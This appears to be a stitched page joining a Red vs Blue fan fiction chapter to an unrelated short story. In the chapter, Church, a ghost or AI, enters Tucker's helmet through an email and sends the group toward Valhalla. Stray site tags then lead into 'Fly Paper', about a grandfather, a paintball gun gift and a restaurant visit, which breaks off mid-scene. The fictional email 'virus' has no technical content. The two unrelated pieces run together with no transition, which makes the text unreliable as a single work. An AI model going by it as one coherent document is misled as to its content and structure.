With a yawn and stretch, Donut turned in his bunk and looked across the way at Tucker and Junior. The desert had done nothing to diminish his much self-care Donut did, so him turning to look their way required removing his sleeping mask and Tucker and Junior both acclimating to the fact that Donut’s face was covered in some disgusting black mask.

“Tucker, why’re you still awake?” he yawned. “Aren’t we going hiking to the tallest temple tomorrow?”

“Yeah, I’m so excited that I can’t sleep,” Tucker replied flatly. “Put on your helmet and check your military account. It’s saying I’m not in the system anymore!”

“How’re you supposed to get paid?” Donut asked, reaching over and grabbing his own helmet.

“That’s the problem!” Tucker groaned in return.

“Okay, okay, calm down,” Donut replied, putting his helmet on, clicking it into place as quickly as he could. The moment everything was aligned, Tucker could see the lights to Donut’s helmet come on and his visor light up. It was kind of like plugging into the Matrix. But being allowed to keep your eyebrows. “What am I looking for again?”

“Account log in,” Tucker answered. “I’m not showing up at all!”

“Huh,” Donut answered without elaboration.

Groaning, Tucker grabbed the sides of his helmet. “Yours too? Maybe it’s just the system’s down?”

“Oh, no, I logged in automatically,” Donut said with a casual flip of his wrist. “I just have more money than I realized. Sc-a-whooore!”

Annoyed, Tucker narrowed his eyes. “Wow, congrats. That’s really fucking comforting.”

“Why? You need a loan?” Donut asked, folding his fingers together.

“No! I was being sarcastic. Like… dude! What the fuck’s going on? Why can’t I find my account?” Tucker asked just before another flash of white crossed his HUD, that time making him yelp and fall back out of his chair.

Donut and Junior both looked at him without moving even an inch to check on him.

“You know, you really should unplug from your helmet more often,” Donut said with a shrug. “Having technology hardwired to your brain twenty-four seven can’t be all that good for you. Or else we would have just all gone Ghost in the Shell ages ago.”

“Gone Matrix, dude,” Tucker corrected. “And I’m fine, it’s just my email alert caught me by surprise.”

“If you say so,” Donut sang, already beginning to take his helmet back off. “That must be whatever troubleshooter was wrong with your stuff. You know how tech is! Sometimes it makes you get in from behind and earn it!”

“No, Donut, I don’t know what that means,” Tucker scoffed, opening the email. “Huh, that’s weird. What the fuck’s going on? It’s all encrypted and shit. Like. it’s a whole page of numbers and bullshit! That’s not going to help me pay my debt off to sassysluts dot com!”

“You pay for porn?” Donut asked in mild concern. “I had no idea being straight was so hard. I just go to Harry Potter sites—“

“I don’t pay for it, I just… sometimes click download when I shouldn’t,” Tucker answered. “It’s asking me to download. I’m totally clicking it because, unlike porn, it’s my email. And viruses never come from emails.”

“I don’t know, Tucker, downloading an unknown email to a helmet connected to your brain seems like a real bad idea,” Donut tried to argue, but of course Tucker had already accepted anyway.

Junior was clicking his jaws in concern and in general looking disturbed.

“Oh my god it’s saying it’s only two percent downloaded,” Tucker whined. “What’ve I done!?”

“You let a stranger in through your backdoor and know you’re going to wake up with regrets in the morning,” Donut responded.

“Okay, you’re no help,” Tucker began to snap when he felt it.

It started with another white flash before his eyes, something that finally didn’t make him jump the way the others before it had, but unsettled him into silence all the same. He was anticipating for the flash to fade back and allow him to move on with his conversation or, at the very least, his download when a harsh chill moved its way down his spine.

The same implants which allowed Tucker to have access to his HUD were beginning to burn, like a computer on overdrive, Like they were running too much, too fast, and the skin around it was burning. He wanted to reach back toward it to yank the metal from his flesh but he couldn’t move. Something was stopping the impulse, like an electric jolt overriding his nerves and sparking in the back of his mind in reverse.

He let out a cry of surprise and stomach churning horror at the sensation. It hurt. It fucking hurt and he was more surprised by the development than anyone.

Vaguely, he could hear his name being called and blarghed nearby him but things were turning inward on him very fast and with a lot of power.

All he knew is it all goddamn hurt and he couldn’t make it stop.

His HUD flashed something other than white for a second, though his brain could hardly process it through the shock and pain. It only really made sense to him later. Ten percent.

His neck, the base of his skull, was scalding and he was sure he was yelling, but he couldn’t hear. It was all white.

Before it said twenty percent he was unconscious entirely.

There were a lot of ways the dream usually started. A few things were the same — the familiar surroundings of his quarters in Blood Gulch, the humidity of an unending arid, summer day, and the complaining. The complaining was probably the most constant of the constants.

After all, you didn’t really spend the better part of five years with someone and not have their quirks imprinted on the front of your skull. Visible every time you closed your eyes.

It was a mark of either torture or a genuine friendship. And it was only someone like Church who could have made the two nigh indistinguishable.

Usually that voice was joined by another — his own, Caboose’s, Tex’s. Less common, the Reds would be there, joining in with the blanket complaints. Tucker liked to think it was a sign that he at the very least had enough self respect to limit his dreams to Blue Base, but it wasn’t always true.

In fact, it was infrequently true enough that hearing Donut interject in the middle of Church’s usual string of complaints was actually not even all that shocking.

“Wow, I can’t believe that just like that, you’d insert into another man like that! I think usually you’d err on the side of caution and at least give them some preparation!”

“What the fuck do you want from me, dude? I panicked! I was haunting a fucking email. It was about as quick thinking as I could get. Plus, you know Tucker. What are the chances he’d open an email titled Warning, Fucking Ghost Inside, Prepare to Have Your Shit Wrecked!”

“I mean, it sounds like the title of a porno.”

There was a thoughtful pause.

“Okay, fair enough. Tucker’s the one jackass that would open anything remotely pornographic. You know, he’s had his identity stolen, like, twelve times! Just since I’ve known him!”

“Is that a lot?”

“Yeah, Donut! It’s a fucking lot! Though, honestly, maybe it wasn’t stolen and he’s just lying as an excuse for why my credit had to be used every time we ordered something for the goddamn base. Between him and Tex, it’s amazing that I didn’t die sooner just to get out of paying interest.”

There was a cooing noise, closer to Tucker’s face that suddenly sprung the marine from drifting between consciousness to full alert. A fatherly instinct that told him that as much as nothing seemed unusual about Church whining and Donut being… himself, he would never ever have a dream where he let Church around Junior without full supervision.

“Dude!” Tucker gasped, jolting awake and sitting up only to partially collapse backwards when the dizziness pounded him, face first.

There were still spots in his vision as Donut fell back, being caught by Donut almost tenderly.

“Hey! Slow down there! You’ve had a lot put in you while you’re out!” Donut said soothingly, if not nonsensically.

Beside him, leaning in close over Tucker’s other shoulder, Junior was fine and visibly unhurt. Concern, though, was racking the young alien’s face as he looked over Tucker worriedly. His jowls clattered together in a series of noises that probably should have been easier for Tucker to decipher, but with his headache and the general confusion of the moment, were just about meaningless.

“I… I thought I was hearing Church…” Tucker babbled confusedly, reaching up to rub at his eyes only to awkwardly discover his helmet was on. Something that he probably should have figured out with his HUD activated, but in his defense he also hadn’t had any idea what else was going on in the moment. “That was… man, that was weird as fuck. Desert’s getting to me.”

“Uh… I don’t know about that…” Donut half sang as he gently guided Tucker back to leaning against a wall.

Tucker began to sober up rather quickly at that, looking directly at Donut with surprise. “Wait! Church is here? I was really hearing him? Holy shit! Where is he? Why hasn’t he ever wrote me back! Dude, you better not be telling me he was going on adventures without me. I would be so pissed — oh fuck. Did he bring Caboose? Fucking bet he brought Caboose. Ugh. Never mind. I need you to grab one of those stupid big rocks the aliens worship and use it to knock me out before Caboose gets here.”

Donut hesitated, as if he was considering the offer, when the moment was interrupted by that familiar, angry voice.

“Hey, jackass! I didn’t bring anyone but myself! And that was already hard as hell, so if you’re not dying or anything I’d like to take a rest or something,” Church snapped at Tucker.

Ah, just like old times.

“Dude! Church! Did you hear what I was asking? Do you have any answers? Do you want to yell them at me? Can I video tape it so I have something to yell at me when you decide to completely fuck off the face of the planet again?” Tucker asked, whipping his head back and forth. The action was causing the pressure behind his eyes to build and the dizziness to only intensify, but Tucker didn’t care. It was worth it to see his friend again.

Of course, it was a little disheartening to not be rewarded with seeing Church.

“Calm down, your vitals are jumping all over the fucking place,” Church snapped.

Tucker squinted. “Vitals?”

“Yeah, I’m haunting your armor. Which fucking sucks, by the way. Why’s your chest piece a size too small?”

“Right!? I’ve been trying to tell people that for ages but no one believes me about how much it chaffs my nipples!” Tucker yelled. “My superior officer always…. told me to shut up and to put matters into my own hands…”

“Yeah, yeah. Whatever. Shut up. And if it bothers you, put matters into your own hands—“ Church began to say only to stop short and hum. “Huh. Okay. I get it.”

“Yeah, plus I definitely took that advice, and that’s why I made my special rock,” Tucker informed him. “But it never helped with the nipple stuff.”

“Gross,” Church replied flatly.

“You had a rock, too!?” Donut cried out excitedly.

“GROSS!” Church repeated. “Okay, seriously, we’re derailing from the actually important shit. Which is getting you guys going while I take a momentary snooze.”

“Going where? Why the hell would we be going anywhere for you?” Tucker asked. “I can’t even see you, dude! It’s making it super confusing to talk to you! And what the fuck is this shit about you hiding in my armor!?”

“What? No! I’m not hiding in your armor, I’m haunting it!” Church snapped.

“I don’t know, Church! It sounded a lot like hiding from the asshole rather than embracing it to me,” Donut corrected, folding his arms. “And trust me, I should know!”

“What!?” Church and Tucker yelled in unison.

“The asshole you were telling me about.” Donut clarified.

“Ah, gotcha,” Church responded. “Okay, that makes sense.”

Hairs prickling on the back of his neck, Tucker raised up his hands over his head. “What the fuck are you doing in my armor!?”

“Oh, calm down. You’re so insecure,” Church snapped. “I’m haunting your armor. And it’s not because I’m hiding from that asshole fucker Agent Washington.”

Tucker reached for his helmet achingly. “Agent what? Okay, seriously, Church, I can’t concentrate on the bullshit you’re saying if I can’t see you. It’s weirding me out! You sound so fucking close and it’s just creepy that I can’t see you!”

“Jesus, Tucker, have you never talked on a cellphone before? Fucksake,” Church groaned.

Without much more hesitation, however, the former Blue leader presented himself. Or what Tucker could only assume was Church presenting himself. It looked like Church, but in his supposed ghost form — glowing white and transparent. Still in his regular armor and with a sniper rifle.

And also super fucking small, floating just a few feet in front of Tucker’s shoulder, like a pirate’s parrot waiting to perch.

“Happy? Better be because I’m fucking exhausted after emailing myself here and explaining everything to Donut already,” Church snapped. “And making myself visible for the most sensitive guy on the planet is only draining me more!”

“Hey, ladies love the sensitivity,” Tucker corrected him.

“Do they? I know I do,” Donut added unnecessarily.

Junior tilted his head and gave a signature Bow Chicka Honk Honk.

Tucker, having spent more than enough time in the desert with him, just gave Donut a frustrated glance and shrugged his hands at him expectantly. “Dude, what’ve I said before?”

“You say a lot of things to me, Tucker, but I usually forget them after Tequila O’Clock, and so do you,” Donut reminded him.

“I leave you for a year and you’ve completely canoodled with the enemy,” Church stated flatly to Tucker.

“You mean colluded, and I didn’t collude with anyone!” Tucker argued.

“I know what I said and now you’re just changing subjects,” Church said pointedly.

“Why’re you haunting my armor and why are you hiding from this Agent Asshole?” Tucker asked somewhat seriously.

“I just told you I’m exhausted from haunting that email. Why can’t you ask Donut? He has the four-one-one,” Church argued.

“Uh, because I want to be able to take it seriously and not have… embellishments,” Tucker said, eyeing Donut a bit, though the Red seemed far from offended.

“Ugh, forget it,” Church groaned. “Long story short, there was a whole lot of bullshit that went down, Agent-Fucking-Washington got me and Caboose together again. We went looking for Tex. Didn’t find shit. And then Washington decided to blow up some dead bodies before telling me that Tex and I aren’t ghosts but we’re computer AIs from this Project Freelancer bullshittery!”

Tucker blinked. “Yeah, checks out,” he said flatly. “Wait, is this guy just an asshole because he pointed out the obvious?”

“It’s not obvious because it’s not true! I’m a ghost and so is Tex, and this entire goddamn planet is the worst kind of purgatory imaginable,” Church huffed angrily.

“Ghosts that get downloaded into armor to haunt them, sure,” Tucker rolled his eyes.

“Don’t fuck with me now, dude, I’m high strung and tired so I need to—“

“Reboot?” Tucker snickered.

“Tucker. I’m telling you, dude, don’t fuck with me right now. I just got exploded-dead by Washington already. I don’t need any additional bullshit,” Church hissed.

“Is that why you’re tired and think he’s an asshole?” Tucker asked, a note of concern in his voice despite his best efforts to suppress it.

“Oh! This is where it gets really interesting,” Donut informed Tucker. He looked like he would have been right at home snacking on some popcorn at that moment.

“No, he’s an asshole because he’s an asshole,” Church affirmed. “And I’m tired because in order to email myself to you before shit went down, I had to use that bastard Wyoming’s time-thingy to send me back before I died and, like, thirty minutes before you, coincidentally enough, sent out a distress signal to the building we were exploding.”

“Wait… you went back in time?” Tucker asked, baffled. “I’m about to send out an emergency signal!? And what’s this bullshit about you exploding a building? Do you need us to go, like, stop that?”

Church let out an annoyed sigh. “Oh my god, you’re really not accepting the fact that I’m tired and Donut has all the info you need.”

“I’ve been with Donut for, like, eighteen months, dude. You’re my best least-hated friend and I’ve not talked to you once since all this shit went down.” He paused for a moment before frowning at Church’s image. “I’ve missed you.”

“Awesome,” Church replied flatly. “Noted. Prepare to miss me even more on your guys’ way to Valhalla.”

“Valhalla?” Tucker asked curiously. “Is that where the explosion is? Wait! Where’s Caboose? Do we need to save him? I’m proficient at saving Churches, but that’s got a, like, fifty percent less chance of happening if Caboose is around!”

“TUCKER! Let me sleep, goddamn!” Church screeched. “Turning off. Sneak yourself and Donut out of here and start toward Valhalla already before shit goes down.”

“Wait!” Tucker cried out only for Church to disappear with an audible click.

He looked at the vacant space where Church had been but as hard as Tucker looked, Church didn’t pop back into existence.

Being at least somewhat aware of his father’s distress, Junior let out another worried noise before crawling into Tucker’s lap. It was a small gesture, but it at least gave Tucker reason to reach out and gently take hold of his son. That hold developed into Tucker protectively picking up the young alien messiah as he knew they were, for better or worse, about to race out into unknown circumstances.

“I don’t know what I hate more,” Tucker lamented. “How much he randomly disappears on me, or how much he’ll just pop back up and ruin a decent goodbye.”

Donut’s head tilted curiously. “Was that a decent goodbye?”

“Dude, how long have you known Church?” Tucker asked seriously.

“Fair enough!” Donut responded in a rather chipper tone.

Annoyed, Tucker pursed his lips and looked Donut’s way. “You realize he really is a computer program, right? Like. That’s the only way anything has made sense since Blood Gulch.”

The Red hummed and tapped a finger on the chin of his helmet. “Well, it would fill in some holes. But I think it’d leave some others gaping wide open! Just desperate to be filled!”

“Yeah, but it’s better than everyone having fucking ghosts but only Church and Tex bother to do anything with them,” Tucker pointed out. “You don’t see fucking Crunchbite around, bitching about how to raise Junior! If he was, I’d fucking ghostbust him!”

“I think Sarge had a ghost, though, maybe,” Donut continued.

“Donut, you’re thinking too hard about it,” Tucker decided. “Church is totally an AI. Someone could only be programmed to be that annoying.”

“So Sarge is programmed too…” Donut gasped. “Tucker! How many people do we know who are just computers?”

“Uh… Lopez… Sheila…” Tucker began listing.

“It’s spreading!” Donut yelled out.

“Okay, that’s enough,” Tucker grunted, shifting Junior in his arms before pushing up to his feet. “Are you coming or not?”

“Oh, I’m always ready to come,” Donut replied before spryly leaping to his feet in one smooth motion. “But should we tell the aliens? I mean… we are representing the Peace Corps. And we are taking Space Jesus with us.”

“Hey! Don’t inflate his ego,” Tucker warned, petting Junior’s head to the child’s annoyance. “I told you, Donut, we Tuckers have naturally inflated egos that make us fucking masters at dishing out what the people want, but also stupid dangerous to flatter. With a much bigger ego, we could take over worlds with charisma alone.”

Donut brought a hand to his chin thoughtfully. “Hm, I would like to see evidence of this.”

“Can’t, too dangerous,” Tucker shrugged in response. “Which, by the way, is also why we’re not telling these alien assholes we’re leaving. Church said that he went back in time because I sent a distress signal from here. Which means we were distressed.”

“Makes sense,” Donut nodded.

“And what’s more distressing than getting turned on by a bunch of conservative nut jobs who want to treat an underaged kid like he’s some kind of holy, reverent shit? These guys are totally going to try to kill us!” Tucker decided.

“It must be the one named Clark,” Donut gasped, pounding a fist into his right hand. “I knew not to trust someone named Clark! Who’s ever been a good guy named Clark!?”

“Superman,” Tucker said without hesitation. “Wait, why Clark?”

“Because Church said your emergency mentioned CT, obviously short for the evil known as Clark!” Donut announced.

Tucker merely stared back at the Red. “Donut, if you know that, then you also knew why I was even suggesting we leave without a note! In fact, you know more shit than I do if Church was telling the truth! We’re just wasting time here!”

“I think we’ve been super productive, actually,” Donut said, folding his arms. “I really wasn’t sold on our motivations until you laid everything out there for me like this. Now I’m totally with this new vision. Not exactly my creative decision, but I like it.”

“Okay, forget it, I like flying by the seat of my pants so let’s just head to this Valhalla place and figure out things from there,” Tucker decided.

“Oh! And while we’re on our way, I’ll fill you in on what Church didn’t mention to you!” Donut replied enthusiastically as he followed Tucker toward the vehicles for their camp.

“He’s dead again, this Agent Washington’s an asshole, Church wants us in a place that I swore was something those Thor movies made up but apparently not,” Tucker listed off. “See? Totally got it.”

“Uh, you’ve got the boring relevant stuff,” Donut argued, jumping into the driver’s seat. “He didn’t even start to tell you what Red Team did on their adventure before exploding the building!”

“Red Team was there? Jesus, how the fuck did that not make it to the summary?” Tucker asked, setting Junior in the seat between them and buckling him in.

“Eh. I’d say narrator’s bias,” Donut answered.

He started up the Warthog they were in and before the aliens could even stir awake at their camp, Donut was flooring it and they were bounding out of the desert. It was just Tucker’s hope beyond hope that along with the Red Team shenanigans, Church managed to also tell Donut how to get to the near mythical Valhalla.

Valhalla, as it turned out, was far enough away from the desert temple that an entire body of water and some grassy knolls were along the way before they even got close.

Whether it was sleep or recharging, Church kept true to his word and was a non-presence for the vast majority of the trip. It kept Tucker’s headaches and confusion at bay, but didn’t remove the consistent, low hum from the back of his mind throughout the trip. It really was less and less like any haunting Tucker had ever been aware of and more like some kind of computer virus to his whole body.

Though, when he mentioned the analysis out loud to Donut, he was assured that it made absolutely no sense as an analogy.

Donut’s own biases, however, were just as self evident.

“And that’s why I absolutely cannot believe that Church just left out everything that Sarge, Grif, and Simmons did during the whole adventure! You could really make an argument that they were the whole catalyst for so much of what happened!” Donut argued, driving them through the grassy planes, seemingly oblivious to even the idea that there could have been some sort of pathway or road for them to take instead.

Junior was curled up in Tucker’s lap, trying to sleep despite the off roading unease, so big by then that he was half out of Tucker’s lap entirely.

“Well, I wouldn’t say that it was totally necessary to know everything they did alongside Church, Caboose, and Washington, but it did help make some sense out of all the random elements that came into play,” Tucker agreed.

Looking dissatisfied with the compromise, Donut sniffed and tilted his chin up and away from Tucker. “No appreciation for storytelling,” he surmised.

“Guess not,” Tucker shrugged. He then looked ahead to the direction Donut was guiding them toward. He shifted uncomfortably. “Man. I thought after all that time stuck at that boring temple, seeing some green and life again would be a huge relief but… it’s just kinda unsettling to keep driving through more and more wilderness, y’know?”

“Nope, have no idea what you mean,” Donut shrugged.

“It’s like… at the end of this, are we just going to find some cabin in the woods we have to stay at. Like idiots? And then we do something that unleashes some unholy terror on us? And we’re picked off one by one?”

Donut tilted his head. “Huh. That wouldn’t take too long. There’s only four of us. Three if you and Church count as the same person! Do unholy terrors go after ghosts? I’m not sure. I was never really that religious.”

“Fuck if I know. I one time told a girl dressed up like the Virgin Mary that I’d fill her with some Holy Spirits, and next thing I know middle school Tucker isn’t allowed in any church in all of Detroit!” Tucker deadpanned. It wasn’t the zinger he was hoping for, mostly because Junior was asleep and unavailable for their patented trademark, but also because barely a breath had left his lungs before he was looking ahead and faced with a rather shocking sign laid out before them. He raised up slightly in his seat before settling down again to not disturb Junior. “Whoa! Look how fucking tall that is — holy shit! Are these bases?”

“Yup! Looks like we got to Valhalla — just like Church described, just less destruction. Guess he exaggerated on that part,” Donut said cheerfully just before they pulled over another hill and saw the long stretch of grassland between the two bases. Then, suddenly, they were met with several crashed helicopters, vehicles, and scorching fires around each. Also, in the distance, a familiar wrecked ship could be seen. “Whoops! I stand corrected! My bad,” Donut added.

“Yeah, this isn’t much better than my idea bout the cabin,” Tucker said flatly. He looked around just once before a bright white light flickered on over his shoulder, drawing both his and Donut’s attention toward it. He raised his brows expectantly. “Well, well. Look who joined the world of the living. Finally. Good sleep, Church?”

“Yeah, I’m back to one hundred percent, you could say,” Church replied candidly.

Tucker leaned toward Donut and stage whispered, “Like a battery…”

“Hey, I can hear that, jackass!” he snapped. “Forget that, though, tell me what you guys did about the people who surrounded you.”

“What people?” Donut asked.

No sooner had the exchange completed than the distinct sound of multiple guns clicking to lock their triggers could be heard just behind them.

Church flinched. “Ohhhh.”

Stiffly, Donut and Tucker both glanced to each other and then slowly raised their hands.

“Church,” Tucker said in annoyance, “ghost or computer — doesn’t matter. You’re, like, the worst wingman.”

“Ever. Of all time,” Church added.

“What?” Donut asked.

“How the hell did I give you details about every little thing that happened, and didn’t remember to explain that?” Church asked with annoyance of his own. But it was far from something Tucker could concentrate on.

The real concern, for the moment at least, was figuring out how to get themselves out of the current disaster. And, hopefully, to find out exactly what the hell was going on.

[esgeeks]

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[hackgit]

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[harlanyoung]

Fly Paper

I couldn’t tell if the wooly bear worm was dead or just playing dead. It looked like double a battery and felt like my mother’s hair curlers.

I put the worm in my left side pocket along with some twigs and dry leaves and began walking to my grandparent’s house. It wasn’t far. They were our neighbors. Grandpa spent every warm and warm enough afternoon on his back porch eying the bird feeders clamped to the railing. He was there to chase away the squirrels with his 7-iron and take Polaroid pictures of Blue Jays if they happened to stop over.

He piled the photos in a Nike shoebox that he kept in his closet. He told me one day they’d be mine — he said that he’d put them all in an album before then so that I could put them on the coffee table in my own house.

He’d sip chocolate milk with ice and eat forkfuls of pickled ham while he let the sun tan his withered, thin legs. Blood blisters from knocking his shins against the bannister and the backdoor formed just above his ankles and never went away. He said they looked like his mother, and laughed.

Sometimes he’d see things. Grandpa would know what he saw wasn’t real; he knew he’d just have to wait for the vision to pass. Sometimes it was a fat white rabbit with cotton candy pink eyes; other times it was palmetto bugs. He said they looked like sweet dates with wings. These things would hover around the light fixtures and cast shadows that made his lower lip quiver and his left hand twitch. Grandpa’s eyes would dilate and well up with fear.

Then the moment would pass and he’d scratch the back of his head like he was looking for a splinter.

He said he had a present for me. It was supposed to be a Christmas gift but he didn’t want any of my cousins to see it and get jealous. When I got to the porch he was sitting cross-legged on the purple walker he picked up at CVS with the leather stool and alligator airhorn. He fixed two powder blue tennis balls to the back legs.

“Hey, there’s my pal,” he said wiping the a piece of chocolate shell from the side of his mouth. He was nursing an ice cream stick.

I gave him a quiet nod and dragged a narrow iron chair over to his side. On his lap was a long, rectangular box wrapped in lavender paper. The sides were wrinkled and strands of scotch tape were wrapped around it several times.

“Don’t mind the paper or the wrapping. It’s all we had. Had to do it quick. But this is for you, okay?” He shook the box, smiled and handed it to me.

I nodded again. Smiled, sort of, and went to tearing apart the paper. Under the wrapping was a plain cardboard box.

“Let me see that,” grandpa said. He pushed himself off of the walker, lifted the leather cushion, and pulled out a box cutter.

He slit the tape off the ends. I opened the flaps and pulled out a smaller box. On the outside was the image of a paintball gun; two paintball guns, actually. Two children my age were holding them and smiling with plastic goggles covering their eyes and jet black pads covering their arms and chests.

Grandpa took the box from me and cut it open with the box cutter. This time he gutted like a fish down the middle and started pulling apart the cardboard. The gun was fixed in place inside the box with zip ties.

He made small groans and grunts while he struggle with the plastic ties. A small paper cut bubbled on the palm of his hand. He swiveled to the left and right on his walker.

It had a meat red body and a chrome barrel. Packed with it were several bags of assorted paintballs — green, yellow, pink, purple and blue.

“I never had one myself. In fact, I’ve never had a gun. I wanted one, I think, but never got around to buying one. Haven’t even held one before. Have you?”

I shook my head. I held it with one hand and pointed it crookedly at the house.

“Don’t go messing with the siding. I just got the house powerwashed. I’ve been saving cans for your to shoot at. We’ll make a target later, too.”

“I don’t think mom will like this.”

I planted it barrel first into the deck and used the butt to balance myself.

“Of course not, we’ll keep it here, in the basement. It’ll be our thing. You can tag the squirrels for me.”

We had a lot of things together — eating T-Bone steaks with our hands, skipping swim practice to go to the movies, the one puff of a cigar after dinner on Thanksgiving and then again on Easter, a sip of Jim Beam with Tobasco Sauce to fix my sore throat.

I’d learned that these were normal grandpa things and my parents were always wise to what we were doing.

That was the first time my grandpa ever held any kind of gun.

Grandpa started loading it. I took his 7-iron and let out phantom rounds at anything that moved. Then grandpa dropped the paintballs. They rolled off the porch, some got stuck in the crevices between planks, and others fitted themselves beneath grandma’s clay flower pots

His left eye was twitching. He started massaging his upper thigh.

“Grandpa?”

“Just the critters again. Just the critters.”

He grabbed the gun and the rubbish and kicked it off to the side and hid it under the blue tarp that was covering the grill.

“You feel like 99 House?” It was the only chain in town that served every table a bowl of popcorn before the meal with a small plastic cup filled with melted butter. Grandpa would ask for a second so that he had one to drink.

“Won’t grandma notice all the paintballs?”

Grandpa shrugged his shoulders.

“The wind will take them. Besides, she never comes in this way.”

It was early in the afternoon, but I didn’t mind a second lunch. He drove a Buick that he said was my age.

You couldn’t tell whether the car was in Neutral, Drive or Reverse until you hit the gas because the indicators on the dashboard had all but faded. He’d crank it up then down slowly and count the clicks. There were three until it hit drive.

The brakes made a cartoonish screech and it took forever to heat up. The center console could be raised to make room for a third person up front. Dimes and balled up tissues with spearmint bubble gum and half-suck Lemonheads were scattered across the floor.

He had an ice scraper with a glove stitched to it and an encyclopedia from 1995 with the letter A on the spine in the backseat.

It always smelled like tobacco in that car. Not real tobacco, but the candle kind — the kind that puts the taste of snickerdoodle and cinnamon toast on your tongue. Sometimes chemicals can things sweeter.

He loved that damn car.

I didn’t bother calling my parents. They wouldn’t worry. We were never gone for more than a couple hours at a time. Grandpa took Whirlwind Hill past the local wine trail and followed the back roads around Cella’s Christmas Tree Farm to Route 5.

He hated getting caught at the lights downtown and was never a fan of dealing with more than two lanes of traffic at once.

The restaurant was empty. There was one waiter who was also acting as the host. His polo was missing both buttons and he had bleach stains on the collar.

“Welcome to 99 House,” he exclaimed with wide eyes and gritting teeth. “Just the two of you?”

“That’s right,” grandpa replied.

“Well you’re in luck, our lunch rush just ended so you have your pick of tables.”

There was no lunch rush. There never was. It was a copy of a copy of Applebees right down to their taquito burger and coconut shrimp.

They thought square glass plates and copper mugs would change the image, but it didn’t. That’s why grandpa liked it. They were kind, desperate and always empty.

Grandpa sat down in the back corner booth facing the flat screen that was currently shut off.

“Can you turn the game on?”